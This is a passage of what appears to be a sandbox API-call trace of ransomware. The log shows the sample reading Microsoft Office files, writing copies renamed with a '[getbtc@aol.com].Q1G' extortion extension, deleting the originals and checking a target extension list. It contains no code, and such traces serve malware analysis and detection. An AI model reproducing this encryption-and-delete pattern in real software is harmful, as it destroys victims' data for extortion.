Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0258.293] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=47188) returned 1 [0258.293] CloseHandle (hObject=0x3dc) returned 1 [0258.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr")) returned 0x20 [0258.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0258.293] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.293] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0258.294] GetLastError () returned 0x0 [0258.294] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xb854, lpOverlapped=0x0) returned 1 [0258.433] WriteFile (in: hFile=0x3d8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xb860, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xb860, lpOverlapped=0x0) returned 1 [0258.541] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.541] WriteFile (in: hFile=0x3d8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0258.542] SetEndOfFile (hFile=0x3d8) returned 1 [0258.542] CloseHandle (hObject=0x3d8) returned 1 [0258.542] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.542] SetEndOfFile (hFile=0x3dc) returned 1 [0258.544] CloseHandle (hObject=0x3dc) returned 1 [0258.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.558] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr")) returned 1 [0258.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0258.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0258.559] lstrlenW (lpString=".doc") returned 4 [0258.559] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.559] lstrlenW (lpString=".docx") returned 5 [0258.559] lstrcmpiW (lpString1=".docx", lpString2="2.BDR") returned -1 [0258.559] lstrlenW (lpString=".pdf") returned 4 [0258.559] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.559] lstrlenW (lpString=".xls") returned 4 [0258.559] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.559] lstrlenW (lpString=".xlsx") returned 5 [0258.559] lstrcmpiW (lpString1=".xlsx", lpString2="2.BDR") returned -1 [0258.559] lstrlenW (lpString=".ppt") returned 4 [0258.559] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0258.559] lstrlenW (lpString=".zip") returned 4 [0258.559] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.559] lstrlenW (lpString=".rar") returned 4 [0258.559] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.560] lstrlenW (lpString=".bz2") returned 4 [0258.560] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.560] lstrlenW (lpString=".7z") returned 3 [0258.560] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0258.560] lstrlenW (lpString=".dbf") returned 4 [0258.560] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0258.560] lstrlenW (lpString=".1cd") returned 4 [0258.560] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0258.560] lstrlenW (lpString=".jpg") returned 4 [0258.560] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0258.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0258.560] lstrlenW (lpString=".doc") returned 4 [0258.560] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.560] lstrlenW (lpString=".docx") returned 5 [0258.560] lstrcmpiW (lpString1=".docx", lpString2="2.BDR") returned -1 [0258.560] lstrlenW (lpString=".pdf") returned 4 [0258.560] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.560] lstrlenW (lpString=".xls") returned 4 [0258.560] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.560] lstrlenW (lpString=".xlsx") returned 5 [0258.560] lstrcmpiW (lpString1=".xlsx", lpString2="2.BDR") returned -1 [0258.560] lstrlenW (lpString=".ppt") returned 4 [0258.560] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0258.560] lstrlenW (lpString=".zip") returned 4 [0258.560] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.560] lstrlenW (lpString=".rar") returned 4 [0258.560] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.560] lstrlenW (lpString=".bz2") returned 4 [0258.560] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.560] lstrlenW (lpString=".7z") returned 3 [0258.560] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0258.561] lstrlenW (lpString=".dbf") returned 4 [0258.561] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0258.561] lstrlenW (lpString=".1cd") returned 4 [0258.561] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0258.561] lstrlenW (lpString=".jpg") returned 4 [0258.561] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.561] lstrcmpiW (lpString1=".BDR", lpString2=".Q1G") returned -1 [0258.561] lstrlenW (lpString="MSART7.BDR") returned 10 [0258.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0258.561] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=3876) returned 1 [0258.561] CloseHandle (hObject=0x3d8) returned 1 [0258.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr")) returned 0x20 [0258.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0258.562] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.562] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0258.563] GetLastError () returned 0x0 [0258.563] ReadFile (in: hFile=0x3d8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xf24, lpOverlapped=0x0) returned 1 [0258.585] WriteFile (in: hFile=0x3f0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf30, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf30, lpOverlapped=0x0) returned 1 [0258.586] ReadFile (in: hFile=0x3d8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.586] WriteFile (in: hFile=0x3f0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0258.586] SetEndOfFile (hFile=0x3f0) returned 1 [0258.645] CloseHandle (hObject=0x3f0) returned 1 [0258.645] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.645] SetEndOfFile (hFile=0x3d8) returned 1 [0258.647] CloseHandle (hObject=0x3d8) returned 1 [0258.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr")) returned 1 [0258.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0258.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0258.709] lstrlenW (lpString=".doc") returned 4 [0258.709] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.709] lstrlenW (lpString=".docx") returned 5 [0258.709] lstrcmpiW (lpString1=".docx", lpString2="7.BDR") returned -1 [0258.709] lstrlenW (lpString=".pdf") returned 4 [0258.709] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.709] lstrlenW (lpString=".xls") returned 4 [0258.709] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.709] lstrlenW (lpString=".xlsx") returned 5 [0258.709] lstrcmpiW (lpString1=".xlsx", lpString2="7.BDR") returned -1 [0258.709] lstrlenW (lpString=".ppt") returned 4 [0258.710] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0258.710] lstrlenW (lpString=".zip") returned 4 [0258.710] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.710] lstrlenW (lpString=".rar") returned 4 [0258.710] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.710] lstrlenW (lpString=".bz2") returned 4 [0258.710] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.710] lstrlenW (lpString=".7z") returned 3 [0258.710] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0258.710] lstrlenW (lpString=".dbf") returned 4 [0258.710] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0258.710] lstrlenW (lpString=".1cd") returned 4 [0258.710] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0258.710] lstrlenW (lpString=".jpg") returned 4 [0258.710] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0258.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0258.710] lstrlenW (lpString=".doc") returned 4 [0258.710] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.710] lstrlenW (lpString=".docx") returned 5 [0258.710] lstrcmpiW (lpString1=".docx", lpString2="7.BDR") returned -1 [0258.710] lstrlenW (lpString=".pdf") returned 4 [0258.710] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.710] lstrlenW (lpString=".xls") returned 4 [0258.710] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.710] lstrlenW (lpString=".xlsx") returned 5 [0258.710] lstrcmpiW (lpString1=".xlsx", lpString2="7.BDR") returned -1 [0258.710] lstrlenW (lpString=".ppt") returned 4 [0258.710] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0258.710] lstrlenW (lpString=".zip") returned 4 [0258.710] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.711] lstrlenW (lpString=".rar") returned 4 [0258.711] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.711] lstrlenW (lpString=".bz2") returned 4 [0258.711] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.711] lstrlenW (lpString=".7z") returned 3 [0258.711] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0258.711] lstrlenW (lpString=".dbf") returned 4 [0258.711] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0258.711] lstrlenW (lpString=".1cd") returned 4 [0258.711] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0258.711] lstrlenW (lpString=".jpg") returned 4 [0258.711] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.711] lstrcmpiW (lpString1=".BDR", lpString2=".Q1G") returned -1 [0258.711] lstrlenW (lpString="MSART9.BDR") returned 10 [0258.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0258.712] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=50838) returned 1 [0258.712] CloseHandle (hObject=0x3b4) returned 1 [0258.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr")) returned 0x20 [0258.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0258.712] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.712] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0258.713] GetLastError () returned 0x0 [0258.713] ReadFile (in: hFile=0x3b4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xc696, lpOverlapped=0x0) returned 1 [0258.716] WriteFile (in: hFile=0x3b0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xc6a0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xc6a0, lpOverlapped=0x0) returned 1 [0258.717] ReadFile (in: hFile=0x3b4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.717] WriteFile (in: hFile=0x3b0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0258.717] SetEndOfFile (hFile=0x3b0) returned 1 [0258.717] CloseHandle (hObject=0x3b0) returned 1 [0258.717] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.717] SetEndOfFile (hFile=0x3b4) returned 1 [0258.720] CloseHandle (hObject=0x3b4) returned 1 [0258.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr")) returned 1 [0258.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0258.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0258.721] lstrlenW (lpString=".doc") returned 4 [0258.721] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.721] lstrlenW (lpString=".docx") returned 5 [0258.721] lstrcmpiW (lpString1=".docx", lpString2="9.BDR") returned -1 [0258.721] lstrlenW (lpString=".pdf") returned 4 [0258.721] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.721] lstrlenW (lpString=".xls") returned 4 [0258.721] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.721] lstrlenW (lpString=".xlsx") returned 5 [0258.721] lstrcmpiW (lpString1=".xlsx", lpString2="9.BDR") returned -1 [0258.721] lstrlenW (lpString=".ppt") returned 4 [0258.721] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0258.721] lstrlenW (lpString=".zip") returned 4 [0258.721] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.721] lstrlenW (lpString=".rar") returned 4 [0258.721] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.721] lstrlenW (lpString=".bz2") returned 4 [0258.721] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.721] lstrlenW (lpString=".7z") returned 3 [0258.721] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0258.722] lstrlenW (lpString=".dbf") returned 4 [0258.722] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0258.722] lstrlenW (lpString=".1cd") returned 4 [0258.722] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0258.722] lstrlenW (lpString=".jpg") returned 4 [0258.722] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0258.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0258.722] lstrlenW (lpString=".doc") returned 4 [0258.722] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.722] lstrlenW (lpString=".docx") returned 5 [0258.722] lstrcmpiW (lpString1=".docx", lpString2="9.BDR") returned -1 [0258.722] lstrlenW (lpString=".pdf") returned 4 [0258.722] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.722] lstrlenW (lpString=".xls") returned 4 [0258.722] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.722] lstrlenW (lpString=".xlsx") returned 5 [0258.722] lstrcmpiW (lpString1=".xlsx", lpString2="9.BDR") returned -1 [0258.722] lstrlenW (lpString=".ppt") returned 4 [0258.722] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0258.722] lstrlenW (lpString=".zip") returned 4 [0258.722] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.722] lstrlenW (lpString=".rar") returned 4 [0258.722] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.722] lstrlenW (lpString=".bz2") returned 4 [0258.722] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.722] lstrlenW (lpString=".7z") returned 3 [0258.722] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0258.722] lstrlenW (lpString=".dbf") returned 4 [0258.723] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0258.723] lstrlenW (lpString=".1cd") returned 4 [0258.723] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0258.723] lstrlenW (lpString=".jpg") returned 4 [0258.723] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.723] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0258.723] lstrlenW (lpString="BRTVIEW.DLL") returned 11 [0258.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\brtview.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0258.725] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=186776) returned 1 [0258.725] CloseHandle (hObject=0x3b4) returned 1 [0258.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\brtview.dll")) returned 0x20 [0258.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\brtview.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\brtview.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0258.726] 